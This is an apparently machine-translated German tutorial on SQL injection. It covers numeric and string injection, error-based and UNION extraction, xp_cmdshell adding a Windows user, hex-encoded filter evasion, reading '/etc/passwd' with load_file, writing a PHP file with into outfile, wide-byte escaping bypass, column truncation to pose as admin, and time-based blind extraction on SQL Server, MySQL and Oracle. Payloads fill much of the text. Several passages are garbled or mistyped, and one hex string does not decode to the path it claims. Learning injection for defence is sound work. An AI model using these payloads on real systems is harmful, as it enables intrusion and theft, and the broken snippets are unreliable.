Heim >Betrieb und Instandhaltung >Sicherheit >Welche drei Möglichkeiten der SQL-Injektion gibt es?

Welche drei Möglichkeiten der SQL-Injektion gibt es?

青灯夜游
青灯夜游Original
2020-07-20 16:46:3121374Durchsuche

Die drei Methoden der SQL-Injection sind: 1. Numerische Injektion; wenn der Eingabeparameter eine Ganzzahl ist, liegt möglicherweise eine Sicherheitslücke bei der numerischen Injektion vor. 2. Zeicheninjektion; wenn der Eingabeparameter eine Zeichenfolge ist, kann eine Sicherheitslücke durch Zeicheninjektion bestehen. 3. Andere Typen (z. B. Suchinjektion, Cookie-Injektion, POST-Injektion usw.).

Welche drei Möglichkeiten der SQL-Injektion gibt es?

SQL-Injection-Prinzip

SQL-Injection-Angriff bezieht sich auf die Erstellung spezieller Eingaben, die an die übergeben werden In der Webanwendung handelt es sich bei den meisten dieser Eingaben um einige Kombinationen in der SQL-Syntax. Durch die Ausführung der SQL-Anweisung führt der Angreifer die erforderlichen Operationen aus. Der Hauptgrund dafür ist, dass das Programm die vom Benutzer eingegebenen Daten nicht sorgfältig filtert Dateneinbruchssystem.

SQL-Injection-Klassifizierung

1. Numerische Injektion

Wann Da es sich bei den Eingabeparametern um Ganzzahlen handelt, besteht möglicherweise eine Sicherheitslücke bei der numerischen Injektion.

Angenommen, es gibt eine URL: HTTP://www.aaa.com/test.php?id=1
Sie können die SQL-Anweisung im Hintergrund wie folgt erraten:
SELECT * FROM table WHERE id=1

Bestimmen Sie den SQL-Injection-Punkt von die numerische Schwachstelle :

① Geben Sie zunächst ein einfaches Anführungszeichen '

in das Eingabefeld ein. Die SQL-Anweisung wird zu:

SELECT * FROM table WHERE id=1',

entsprechen nicht der Syntax, sodass die Anweisung definitiv fehlschlägt, was dazu führt, dass das Skript keine Daten aus der Datenbank abrufen kann und die Originalseite abnormal ist.

② Geben Sie and 1 = 1

in das Eingabefeld ein. Die SQL-Anweisung wird zu:

SELECT * FROM table WHERE id=1 and 1 = 1

Die Anweisung ist korrekt, die Ausführung ist normal und die zurückgegebenen Daten unterscheiden sich nicht von der ursprünglichen Anfrage.

③ Geben Sie and 1 = 2

in die Datenbank ein. Die SQL-Anweisung lautet:

SELECT * FROM table WHERE id=1 and 1 = 2

Obwohl die Syntax ist korrekt. Die Anweisung wird normal ausgeführt, aber die Logik ist falsch, da 1 = 2 dauerhaft falsch ist, sodass sich die zurückgegebenen Daten von der ursprünglichen Anforderung unterscheiden.

Wenn alle oben genannten drei Schritte erfüllt sind, weist das Programm möglicherweise eine Sicherheitslücke hinsichtlich numerischer SQL-Injection auf.

2. Zeicheninjektion

Wenn der Eingabeparameter eine Zeichenfolge ist, kann eine Sicherheitslücke durch Zeicheninjektion bestehen. Der größte Unterschied zwischen numerischer und Zeicheninjektion besteht darin, dass numerische Typen nicht in einfache Anführungszeichen gesetzt werden müssen, während -Zeichentypen im Allgemeinen in einfache Anführungszeichen gesetzt werden müssen.

Das Wichtigste bei der Zeicheninjektion ist, wie man die SQL-Anweisung schließt und den redundanten Code kommentiert.

Angenommen, die Hintergrund-SQL-Anweisung lautet wie folgt:
SELECT * FROM table WHERE username = 'admin'

Bestimmen Sie den SQL-Injection-Punkt der Zeichenanfälligkeit:

① Oder geben Sie zuerst einfache Anführungszeichen admin' ein, um die SQL-Anweisung von

zu testen. Diese wird zu:

SELECT * FROM table WHERE username = 'admin''.

Die Seite ist abnormal.

② Eingabe: admin' and 1 = 1 --

Hinweis: Nach admin steht ein einfaches Anführungszeichen ', das zum Schließen der Zeichenfolge verwendet wird, und schließlich gibt es ein Kommentarzeichen --(Nach den beiden Balken steht ein Leerzeichen!!!).

Die SQL-Anweisung lautet:

SELECT * FROM table WHERE username = 'admin' and 1 = 1 --

Die Seite wird korrekt angezeigt.

③ Eingabe: admin' and 1 = 2 --

Die SQL-Anweisung wird zu:

SELECT * FROM table WHERE username = 'admin' and 1 = 2 --

Seitenfehler.

Wenn die oben genannten drei Schritte erfüllt sind, kann es zu einer Zeichen-SQL-Injection kommen.

3. Andere Typen

Eigentlich gibt es meiner Meinung nach nur zwei Arten von SQL-Injection: numerisch und zeichenhaft. Viele Leute sagen vielleicht, dass es andere Methoden gibt, wie zum Beispiel: Cookie-Injektion, POST-Injection, verzögerte Injektion usw.
Das ist tatsächlich so, doch handelt es sich bei diesen Injektionsarten letztlich nur um unterschiedliche Darstellungsformen von Zahlen- und Zeicheninjektionen bzw. um unterschiedliche Injektionsorte.

Im Folgenden sind einige gebräuchliche Injektionsnamen aufgeführt:

  • POST-Injektion: Das injizierte Feld befindet sich in den POST-Daten.
  • Cookie-Injektion: Das injizierte Feld befindet sich im Cookie Daten
  • Verzögerte Injektion: Injektion mithilfe der Datenbankverzögerungsfunktion
  • Suchinjektion: Der Injektionsort ist der Ort der Suche
  • Base64-Injektion: Die injizierte Zeichenfolge muss Base64-verschlüsselt sein

Gemeinsame Datenbankinjektionen

Für die Datenbankinjektion nutzen Angreifer einfach die Datenbank, um mehr Daten oder größere Berechtigungen zu erhalten in folgende Kategorien einteilen:

  • Daten abfragen
  • Dateien lesen und schreiben
  • Befehle ausführen

Für Programm-Injection, Angreifer egal Jede Datenbank führt diese drei Dinge aus, aber die in verschiedene Datenbanken eingefügten SQL-Anweisungen sind unterschiedlich.

Hier sind die Injektionen von drei Datenbanken: Oracle 11g, MySQL 5.1 und SQL Server 2008.

SQL Server

1. Verwenden Sie Fehlermeldungen, um Informationen zu extrahieren.

SQL Server-Datenbank ist a Eine sehr gute Datenbank, die Fehlerinformationen genau lokalisieren kann, ist für Angreifer von großem Nutzen, da Angreifer über Fehlermeldungen die gewünschten Daten extrahieren können.

① Zählen Sie die aktuelle Tabelle oder Spalte auf

Angenommen, eine solche Tabelle existiert:

Welche drei Möglichkeiten der SQL-Injektion gibt es?
Fragen Sie die Details des Stamms ab Benutzerinformationen, die Vermutung der SQL-Anweisung lautet wie folgt:
SELECT * FROM user WHERE username = 'root' AND password = 'root'

Ein Angreifer kann SQL Server-Funktionen verwenden, um vertrauliche Informationen zu erhalten. Geben Sie die folgende Anweisung in das Eingabefeld ein:
' having 1 = 1 --
Endgültige Ausführung Die SQL-Anweisung lautet:
SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --

Dann gibt der SQL-Executor möglicherweise einen Fehler aus:
Welche drei Möglichkeiten der SQL-Injektion gibt es?

Der Angreifer kann den Strom erkennen Der Tabellenname lautet „Benutzer“ und die Feld-ID ist vorhanden.

Ein Angreifer kann diese Funktion nutzen, um weiterhin andere Spaltennamen abzurufen, indem er die folgende Anweisung eingibt:
' GROUP BY users.id HAVING 1 = 1 --
Dann wird die SQL-Anweisung zu:
SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --

Throw Ein Fehler ist aufgetreten:
Welche drei Möglichkeiten der SQL-Injektion gibt es?
Daran können Sie erkennen, dass der Spaltenname Benutzername enthalten ist. Sie können eine rekursive Abfrage einmal ausführen, bis keine Fehlermeldung mehr zurückgegeben wird. Sie können also die HAVING-Klausel verwenden, um alle Spaltennamen der aktuellen Tabelle abzurufen.
Hinweis: Jede durch Select angegebene Spalte sollte in der Group By-Klausel erscheinen, es sei denn, für diese Spalte wird eine Aggregatfunktion verwendet

② Extraktion mithilfe von Datentypfehlern

Der SQL Editor löst eine Ausnahme aus, wenn Sie versuchen, eine Zeichenfolge mit einer Nicht-Zeichenfolge zu vergleichen oder eine Zeichenfolge in einen anderen inkompatiblen Typ zu konvertieren.

Die folgende SQL-Anweisung:
SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)

Executor-Fehlermeldung:
Welche drei Möglichkeiten der SQL-Injektion gibt es?
Auf diese Weise können Sie den Benutzernamen root erhalten. Denn in der Unterabfrage SELECT TOP 1 username FROM users wird der zuerst abgefragte Benutzername vom Typ varchar zurückgegeben und dann mit 1 vom Typ int verglichen. Die beiden verschiedenen Datentypen können nicht verglichen werden, was zu einem Fehler führt führt zu Datenschutzverletzungen.

Verwenden Sie diese Methode, um alle Kontoinformationen rekursiv abzuleiten:
SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root')).
Durch die Erstellung dieser Anweisung können Sie den nächsten Benutzernamen abrufen. Wenn Sie den Benutzernamen in der Unterabfrage durch andere Spaltennamen ersetzen, können Sie die Informationen anderer Spalten abrufen, die hier nicht beschrieben werden.

2. Metadaten abrufen

SQL Server bietet eine große Anzahl von Ansichten, um das Abrufen von Metadaten zu erleichtern. Sie können zunächst die Anzahl der Spalten in der Tabelle erraten und dann mit UNION eine SQL-Anweisung erstellen, um die Daten abzurufen.
Zum Beispiel:
SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
Wenn die Anzahl der Spalten in der aktuellen Tabelle 2 beträgt, können Sie die UNION-Anweisung verwenden, um die aktuelle Datenbanktabelle abzurufen. Wie Sie die Anzahl der Spalten in der aktuellen Tabelle erraten können, wird später beschrieben.

Einige häufig verwendete Systemdatenbankansichten:

数据库视图 说明
SYS.DATABASES SQL Server 中的所有数据库
SYS.SQL_LOGINS SQL Server 中的所有登录名
INFORMATION_SCHEMA.TABLES 当前用户数据库中的所有数据表
INFORMATION_SCHEMA.COLUMNS 当前用户数据库中的所有列
SYS.ALL_COLUMNS 用户定义对象和系统对象的所有列的联合
SYS.DATABASE_PRINCIPALS 数据库中每个权限或列异常权限
SYS.DATABASE_FILES 存储在数据库中的数据库文件
SYSOBJECTS 数据库中创建的每个对象 (包括约束、日志以及存储过程)

3. Die ORDER BY-Klausel errät die Anzahl der Spalten

Sie können die ORDER BY-Anweisung verwenden, um die Anzahl der Spalten in der aktuellen Tabelle zu bestimmen.

Zum Beispiel:
SELECT * FROM users WHERE id = 1 – SQL-Ausführung ist normal

SELECT * FROM users WHERE id = 1 ORDER BY 1 (sortiert nach der ersten Spalte) – SQL-Ausführung ist normal

SELECT * FROM users WHERE id = 1 ORDER BY 2 (sortiert nach der zweiten Spalte) – SQL-Ausführung ist normal

SELECT * FROM users WHERE id = 1 ORDER BY 3 (sortiert nach der dritten Spalte) – SQL-Ausführung ist normal

SELECT * FROM users WHERE id = 1 ORDER BY 4 (sortiert nach die vierte Spalte (Spaltensortierung) - SQL löst eine Ausnahme aus:
Welche drei Möglichkeiten der SQL-Injektion gibt es?
Daraus kann geschlossen werden, dass die Anzahl der Spalten in der aktuellen Tabelle nur 3 beträgt, da beim Sortieren nach der 4. Spalte ein Fehler auftritt. Diese Methode gilt auch für Oracle- und MySql-Datenbanken.

Nachdem der Angreifer die Anzahl der Spalten kennt, kooperiert er normalerweise mit dem Schlüsselwort UNION, um den nächsten Angriff durchzuführen.

4. UNION-Abfrage

Das Schlüsselwort UNION kombiniert zwei oder mehr Abfrageergebnisse in einem einzigen Ergebnissatz. Die Grundregeln für das Zusammenführen zweier Ergebnisse mithilfe von UNION lauten jedoch wie folgt:

  • Die Anzahl der Spalten in allen Abfragen muss gleich sein
  • Die Datentypen müssen kompatibel sein

① Verwenden Sie die UNION-Abfrage, um die Anzahl der Spalten zu erraten
Sie können nicht nur die ORDER BY-Methode verwenden, um die Anzahl der Spalten zu erraten, die UNION-Methode kann auch verwendet werden.

Es gibt 5 Spalten in der zuvor angenommenen Benutzertabelle. Wenn wir UNION zur Abfrage verwenden:
SELECT * FROM users WHERE id = 1 UNION SELECT 1
Die Datenbank gibt eine Ausnahme aus:
Welche drei Möglichkeiten der SQL-Injektion gibt es?
Kann Wenn Sie rekursiv abfragen, bis keine Fehler mehr auftreten, können Sie die Anzahl der Abfragefelder in der Benutzertabelle ermitteln:
UNION SELECT 1,2, UNION SELECT 1,2,3

Sie können die Anzahl nach SELECT auch auf Null ändern, damit Es ist weniger wahrscheinlich, dass Fehler auftreten.

② Gemeinsame Abfrage vertraulicher Informationen
Nachdem Sie wissen, dass die Anzahl der Spalten 4 beträgt, können Sie die folgende Anweisung verwenden, um mit der Injektion fortzufahren:
UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U' (Hinweis: xtype='U' Zeigt an, dass der Objekttyp eine Tabelle ist.)

Wenn der Datentyp der ersten Spalte nicht übereinstimmt, meldet die Datenbank einen Fehler. Anschließend können Sie rekursiv abfragen, bis die Anweisungen kompatibel sind. Wenn die Anweisung normal ausgeführt wird, können Sie x durch eine SQL-Anweisung ersetzen, um vertrauliche Informationen abzufragen.

5. Nutzen Sie die von SQL Server bereitgestellten Systemfunktionen

SQL Server bietet zahlreiche Systemfunktionen, mit denen auf die Informationen im SQL Server-System zugegriffen werden kann Tabellen, ohne SQL-Abfrageanweisungen zu verwenden.

Zum Beispiel:

  • SELECT suser_name(): Gibt den Anmeldeidentifikationsnamen des Benutzers zurück
  • SELECT user_name(): Gibt den Datenbankbenutzernamen basierend auf der angegebenen Identifikation zurück Zahl
  • SELECT db_name(): Gibt den Datenbanknamen zurück
  • SELECT is_member('db_owner'): Ob es sich um eine Datenbankrolle handelt
  • SELECT konvertieren(int, '5' ): Datentypkonvertierung

6. Gespeicherte Prozedur

Gespeicherte Prozedur (Stored Procedure) ist eine Reihe von SQL-„Funktionen“, die zum Ausführen bestimmter Funktionen in verwendet werden große Datenbanksysteme, wie zum Beispiel: Systembefehle ausführen, die Registrierung anzeigen, Festplattenverzeichnisse lesen usw.

Die von Angreifern am häufigsten verwendete gespeicherte Prozedur ist "xp_cmdshell", mit der Benutzer Betriebssystembefehle ausführen können.
Zum Beispiel: Wenn in http://www.aaa.org/test.aspx?id=1 ein Injektionspunkt vorhanden ist, kann der Angreifer einen Befehlsangriff ausführen:
http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'

Die endgültig ausgeführte SQL-Anweisung lautet wie folgt:
SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
Die Anweisung nach dem Semikolon ermöglicht es dem Angreifer, mit dem Benutzernamentest und dem Passworttest einen neuen Benutzer auf dem Server der anderen Partei zu erstellen.
Hinweis: Nicht jeder Datenbankbenutzer kann diese Art von gespeicherter Prozedur verwenden. Der Benutzer muss über die CONTROL SERVER-Berechtigung verfügen.

Übliche gefährliche gespeicherte Prozeduren sind wie folgt:

存储过程 说明
sp_addlogin 创建新的 SQL Server 登录,该登录允许用户使用 SQL Server 身份连接到 SQL Server 实例
sp_dropuser 从当前数据库中删除数据库用户
xp_enumgroups 提供 Microsoft Windows 本地组列表或在指定的 Windows 域中定义全局组列表
xp_regread 读取注册表
xp_regwrite 写入注册表
xp_redeletevalue 删除注册表
xp_dirtree 读取目录
sp_password 更改密码
xp_servicecontrol 停止或激活某服务

Darüber hinaus erfordert jede Datenbank bestimmte Berechtigungen, wenn sie einige spezielle Funktionen oder gespeicherte Prozeduren verwendet. Allgemeine SQL Server-Datenbankrollen und -Berechtigungen sind wie folgt:

角色 权限
bulkadmin 可以运行 BULK INSERT 语句
dbcreator 可以创建、更改、删除和还原任何数据库
diskadmin 可以管理磁盘文件
processadmin 可以种植在数据库引擎中运行的实例
securityadmin 可以管理登录名及其属性;可以利用 GRANT、DENY 和 REVOKE 服务器级别的权限;还可以利用 GRANT、DENY 和 REVOKE 数据库级别的权限;此外也可以重置 SQL Server 登录名的密码
serveradmin 可以更改服务器范围的配置选项和关闭服务器
setupadmin 可以添加和删除链接服务器,并可以执行某些系统存储过程
sysadmin 可以在数据库引擎中执行任何活动

7. Dynamische Ausführung

Benutzer können eine Zeichenfolge zum Ausführen von SQL-Anweisungen übermitteln.

Zum Beispiel: exec('SELECT username, password FROM users')

Sie können auch eine hexadezimale SQL-Anweisung definieren und diese mit der Funktion exec ausführen. Die meisten Webanwendungen und Firewalls filtern einfache Anführungszeichen. Die Verwendung von exec zum Ausführen hexadezimaler SQL-Anweisungen kann viele Firewalls und Anti-Injection-Programme durchbrechen, wie zum Beispiel:

declare @query varchar(888)
select @query=0x73656C6563742031
exec(@query)

oder:
declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)

MySQL

Der Injektionsprozess von SQL Server wurde zuvor ausführlich beschrieben. Bei der Injektion in andere Datenbanken ist die Grundidee dieselbe, mit Ausnahme der Funktionen oder Anweisungen die von den beiden verwendeten sind etwas unterschiedlich.

1. Kommentare in MySQL

MySQL unterstützt die folgenden 3 Kommentarstile:

    „#“: Kommentare beginnen mit „#“ Bis zum Ende der Zeile
  • "--": Der Kommentar geht von der „--“-Sequenz an die Zeilenposition. Es ist zu beachten, dass bei Verwendung dieses Kommentars ein Leerzeichen folgen muss
  • /**/: Kommentare von /* bis*/ Zeichen zwischen

2. Metadaten abrufen

MySQL 5.0 und höher stellen INFORMATION_SCHEMA bereit Eine Informationsdatenbank. Bietet Zugriff auf Datenbankmetadaten. So lesen Sie den Datenbanknamen, den Tabellennamen und den Spaltennamen daraus aus.

① Benutzerdatenbanknamen abfragen


SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATADie Tabelle INFORMATION_SCHEMA.SCHEMATA stellt Informationen über die Datenbank bereit.

②Fragen Sie die aktuelle Datentabelle ab


SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())Die Tabelle INFORMATION_SCHEMA.TABLES enthält Informationen zu den Tabellen in der Datenbank.

③Alle Felder der angegebenen Tabelle abfragen


SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'INFORMATION_SCHEMA.COLUMNS Die Spalteninformationen in der Tabelle werden in der Tabelle angegeben.

3. UNION-Abfrage

entspricht in etwa der von SQL Server und wird hier nicht beschrieben.

4. MySQL-Funktionsnutzung

Ob MySQL, Oracle oder andere Datenbanken, es gibt viele integrierte Systemfunktionen Ich werde einige davon für Penetrationstester hilfreiche MySQL-Funktionen vorstellen.

① Funktion „load_file()“ liest Dateioperationen

MySQL stellt die Funktion „load_file()“ bereit, um Benutzern das schnelle Lesen von Dateien zu erleichtern. Der Speicherort der Datei muss sich jedoch auf der Datei befinden server muss die Datei ein absoluter Pfad sein und der Benutzer muss über die FILE-Berechtigung verfügen und die Dateikapazität muss kleiner als max_allowed_packet Bytes sein (Standard ist 16 MB, Maximum ist 1 GB).

Die SQL-Anweisung lautet wie folgt:


UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #

Normalerweise erlauben einige Anti-Injection-Anweisungen keine einfachen Anführungszeichen, sodass Sie die folgende Anweisung verwenden können, um sie zu umgehen:


UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 # „0x2F6561342F706173737764“ ist das hexadezimale Konvertierungsergebnis von „/etc/passwd“.

Wenn der Browser Daten zurückgibt, sind möglicherweise verstümmelte Zeichen vorhanden. Sie können die Zeichenfolge daher mit der Funktion hex() in hexadezimale Daten konvertieren.

② in den Outfile-Datei-Schreibvorgang

MySQL ermöglicht den Vorgang zum Schreiben von Dateien auf die Festplatte. Sie müssen über FILE-Berechtigungen verfügen und die Datei muss voll sein . Pfadname.

Datei schreiben:


SELECT '<?php phpinfo();?>' into oufile 'C:wwwroot1.php'

③ Verbindungszeichenfolge

MySQL Wenn Sie mehrere Daten gleichzeitig abfragen müssen, können Sie dies tun Verwenden Sie zum Abschluss die Funktion concat () oder concat_ws().

;SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version())

Sie können das Komma auch in eine hexadezimale Darstellung ändern: 0x2c

5. MySQL explizite Fehlerinjektion

MySQL verfügt auch über eine explizite Fehlerinjektion, die wie die SQL Server-Datenbank Fehler zum Extrahieren von Nachrichten verwenden kann.

① Führen Sie SQL-Anweisungen über die Funktion updatexml aus

Verstehen Sie zunächst die Funktion updatexml():

updatexml (XML_document, XPath_string, new_value);
Erste Parameter : XML_document liegt im String-Format vor, das ist der Name des XML-Dokumentobjekts;
Der zweite Parameter: XPath_string (String im Xpath-Format),
Der dritte Parameter: new_value, im String-Format, ersetzt die gefundene Übereinstimmung Die concat()-Funktion der bedingten Daten

SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1) verkettet sie zu einer Zeichenfolge, sodass sie nicht dem Format von XPATH_string entspricht, was zu Formatfehlern, Fehlern und nicht erkennbarem Inhalt führt:

Welche drei Möglichkeiten der SQL-Injektion gibt es?

② Verwenden Sie die Extractvalue-Funktion
SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
, um den aktuellen Benutzer mit demselben Fehler anzuzeigen:
Welche drei Möglichkeiten der SQL-Injektion gibt es?

6. Wide-Byte-Injection

Wide-Byte-Injection wird durch Kodierungsinkonsistenz verursacht. Diese Injektion tritt im Allgemeinen in PHP + MySQL auf.

In der PHP-Konfigurationsdatei php.ini gibt es eine Option „magic_quotes_gpc“, die „magische Anführungszeichen“ heißt. Wenn diese Option aktiviert ist, verwenden Sie einfache Anführungszeichen (') und doppelte Anführungszeichen, die von GET und POST akzeptiert werden und Cookie. Anführungszeichen ("), Backslash () und NULL-Zeichen werden automatisch mit einem Backslash maskiert.

Verwenden Sie PHP-Code wie folgt, um $_GET zum Empfangen von Parametern zu verwenden:
Welche drei Möglichkeiten der SQL-Injektion gibt es?

Wenn Sie auf die URL http:/www.xxser.com/Get.php?id=' zugreifen, wird sie wie folgt angezeigt:
Welche drei Möglichkeiten der SQL-Injektion gibt es?

Nachdem das einfache Anführungszeichen ' maskiert wurde, wird es zu '. In MySQL ist ' ein zulässiges Zeichen, daher gibt es keine Möglichkeit, das einfache Anführungszeichen zu schließen. Wenn Sie jedoch den Typ „Zeichen“ eingeben, kann dies nicht der Fall sein :

, die Zugriffs-URL:

wird wie folgt angezeigt: %d5'http:/www.xxser.com/Get.php?id=%d5'
Sie können feststellen, dass die einfachen Anführungszeichen dieses Mal nicht maskiert sind, sodass Sie die PHP-Escape-Funktion durchbrechen und fortfahren können um die SQL-Anweisung für die SQL-Injection zu schließen Welche drei Möglichkeiten der SQL-Injektion gibt es?

MySQL-Langzeichenkürzung wird auch als „SQL-Column-Truncation“ bezeichnet 🎜>Es gibt eine sql_mode-Option in einer Einstellung in MySQL. Wenn die Option STRICT - ALL_TABLES nicht aktiviert ist, gibt MySQL beim Einfügen eines zu langen Werts nur eine Warnung aus .

Angenommen, es gibt eine Tabelle wie folgt:

Benutzernamensfeld. Die Länge beträgt 7.

Fügen Sie die folgenden SQL-Anweisungen ein:

① Fügen Sie die ein normale SQL-Anweisung:
Welche drei Möglichkeiten der SQL-Injektion gibt es?

Fügen Sie die falsche SQL-Anweisung ein, sodass die Länge des Benutzernamenfelds 7 überschreitet:

INSERT users(id, username, password) VALUES(1, 'admin', 'admin');
Welche drei Möglichkeiten der SQL-Injektion gibt es?Obwohl es eine Warnung gibt, ist das Einfügen erfolgreich

③ Versuchen Sie erneut, einen Fehler einzufügen. Die Länge der SQL-Anweisung überschreitet die ursprünglich angegebene Länge:


INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');
Welche drei Möglichkeiten der SQL-Injektion gibt es?
Datenbank abfragen:


Sie können sehen, dass die drei Daten in die Datenbank eingefügt werden, der Wert sich jedoch standardmäßig ändert, wenn die Daten die Standardlänge überschreiten , MySQL wird es inszenieren, aber wie man angreift, indem man den Benutzer namens admin abfragt: INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;
Welche drei Möglichkeiten der SQL-Injektion gibt es?Es kann festgestellt werden, dass nur der Benutzer namens admin abgefragt wird, aber auch die anderen beiden Admin-Benutzer mit inkonsistenten Längen abgefragt, was einige Sicherheitsprobleme verursachen wird

Zum Beispiel gibt es einen Administrator, der beim Anmelden dieses Urteil fällt:
Welche drei Möglichkeiten der SQL-Injektion gibt es?

Dann muss der Angreifer nur einen Benutzernamen registrieren „admin“, dessen Länge die angegebene Länge überschreitet, um problemlos auf die Backend-Verwaltungsseite zuzugreifen.


Welche drei Möglichkeiten der SQL-Injektion gibt es?8. Verzögerte Injektion

Verzögerte Injektion ist eine Art Blindinjektionstechnologie, bei der es sich um eine Injektionstechnologie handelt, die auf Zeitunterschieden basiert. Im Folgenden wird MySQL als Beispiel für die Einführung einer verzögerten Injektion verwendet.
$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";Es gibt eine Funktion in MySQL: Sleep(Dauer) Diese Funktion bedeutet, die Anweisung auszuführen, nachdem der Dauerparameter für einige Sekunden angegeben wurde:

bedeutet, dass die Anweisung in 3 Sekunden ausgeführt wird. Führen Sie dann die SQL-Anweisung aus.

Mit dieser Funktion können Sie feststellen, ob die URL eine SQL-Injection-Schwachstelle aufweist Die Schritte sind wie folgt:
Welche drei Möglichkeiten der SQL-Injektion gibt es?
Aus der von der zurückgegebenen Welt kann geschlossen werden Seite, dass das DBMS die and sleep(3)-Anweisung ausgeführt hat. Auf diese Weise kann festgestellt werden, dass die URL eine SQL-Injection-Schwachstelle aufweist.

Dann können die Daten auch über die Funktion „sleep()“ gelesen werden, dies erfordert jedoch die Zusammenarbeit mit anderen Funktionen. Die Schritte sind wie folgt:
①Fragen Sie den aktuellen Benutzer ab und ermitteln Sie die Zeichenfolgenlänge
Führen Sie die SQL-Anweisung aus:
AND if(length(user()) = 0, sleep(3), 1)
Wenn eine Verzögerung von 3 Sekunden auftritt, kann die Länge der Benutzerzeichenfolge während der Injektion beurteilt werden. Zur Reduzierung wird normalerweise der halbe Algorithmus verwendet das Urteil.

② Fangen Sie das erste Zeichen der Zeichenfolge ab und konvertieren Sie es in ASCII-Code
AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
......
Ändern Sie den ASCII-Code kontinuierlich bis Es gibt eine Verzögerung von 3 Sekunden. Sie können das erste Zeichen erraten.

③ Jedes Zeichen der Zeichenfolge rekursiv abfangen und jeweils mit dem ASCII-Code vergleichen
AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
Hinweis: Die Position von L repräsentiert das Zeichen der Zeichenfolge und die Position von N repräsentiert der ASCII-Code.

Verzögerungsfunktionen gibt es nicht nur in MySQL, sondern auch Funktionen mit ähnlichen Funktionen in Datenbanken wie SQL Server und Oracle, wie zum Beispiel Waitfor Delay in SQL Server und DBMS_LOCK.SLEEP in Oracle.

Oracle

1. Metadaten abrufen

Oracle unterstützt auch die Abfrage von Metadaten wie folgt ist eine häufig verwendete Metadatenansicht, die von Oracle eingefügt wird:
① user_tablespaces-Ansicht, Tabellenbereiche anzeigen
SELECT tablespace_name FROM user_tablespaces

② user_tables-Ansicht, alle Tabellen des aktuellen Benutzers anzeigen
SELECT table_name FROM user_tables WHERE rownum = 1

③ user_tab_columns-Ansicht, alle Spalten des aktuellen Benutzers anzeigen, z. B. alle Spalten der Benutzertabelle abfragen:
SELECT column_name FROM user_tab_columns WHERE table_name = 'users'

④ all_users-Ansicht, alle Benutzer der ORacle-Datenbank anzeigen
SELECT username FROM all_users

⑤ user_objects view, alle Objekte (Tabellennamen, Einschränkungen, Indizes) des aktuellen Benutzers anzeigen
SELECT object_name FROM user_objects

2

Oracle unterstützt wie MySQL nicht die Ausführung mehrerer Anweisungen, die durch Semikolons getrennt werden können, um mehrere SQL-Anweisungen einzufügen.

① Gesamtzahl der Spalten abrufen
Die Methode zum Abrufen der Gesamtzahl der Spalten ähnelt den beiden vorherigen Datenbanken und kann weiterhin mit der ORDER BY-Klausel durchgeführt werden.

Eine andere Methode besteht darin, das Schlüsselwort UNION zur Bestimmung zu verwenden, aber Oracle legt fest, dass auf jede Abfrage der Name der Tabelle folgen muss, andernfalls wird die Abfrage nicht erstellt .

Kann in Oracle verwendet werden:
UNION SELECT null, null, null …… FROM dual
Das Dual hier ist eine virtuelle Tabelle in Oracle. Sie können diese Tabelle als Abfragetabelle verwenden, ohne zu wissen, welche Tabellen in der Datenbank vorhanden sind.

Dann erhalten Sie die nicht numerische Spalte, das heißt kann die Informationsspalte anzeigen :
UNION SELECT 'null', null, null, …… FROM dual
UNION SELECT null, 'null', null, …… FROM dual

Put Jede Ziffer null wird der Reihe nach in einfache Anführungszeichen gesetzt. Wenn einen Fehler meldet, handelt es sich nicht um eine Spalte vom Zeichenfolgentyp ; wenn normal zurückgibt, handelt es sich um eine Spalte vom Zeichenfolgentyp , und Sie können die entsprechende Abfrageanweisung an der Position eingeben, um die Informationen zu erhalten.

② Erhalten Sie vertrauliche Informationen
Allgemeine vertrauliche Informationen lauten wie folgt:

  • Aktuelle Benutzerberechtigungen: SELECT * FROM session_roles
  • Aktuelle Datenbank Version:SELECT banner FROM sys.v_$version WHERE rownum = 1
  • Server-Export-IP: Verwenden Sie utl_http.request, um
  • Serverüberwachungs-IP zu erreichen: SELECT utl_inaddr.get_host_address FROM dual
  • Server-Betriebssystem: SELECT member FROM v$logfile WHERE rownum = 1
  • Server-SID: SELECT instance_name FROM v$instance
  • Aktuell verbundener Benutzer: SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual

③ Holen Sie sich die Datenbanktabelle und ihren Inhalt
Holen Sie sich die Tabelle Nach der Anzahl der Spalten können Sie den Tabellennamen und den Spaltennamen durch Abfragen von Metadaten abfragen und dann die Daten abfragen, z. B.:
http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users --
Hinweis: Beim Abfragen von Daten müssen Sie auch darauf achten Andernfalls kann die Abfrage nicht durchgeführt werden. Sie können die Parameter nur einzeln testen und die Abfrageposition ändern.

Das obige ist der detaillierte Inhalt vonWelche drei Möglichkeiten der SQL-Injektion gibt es?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
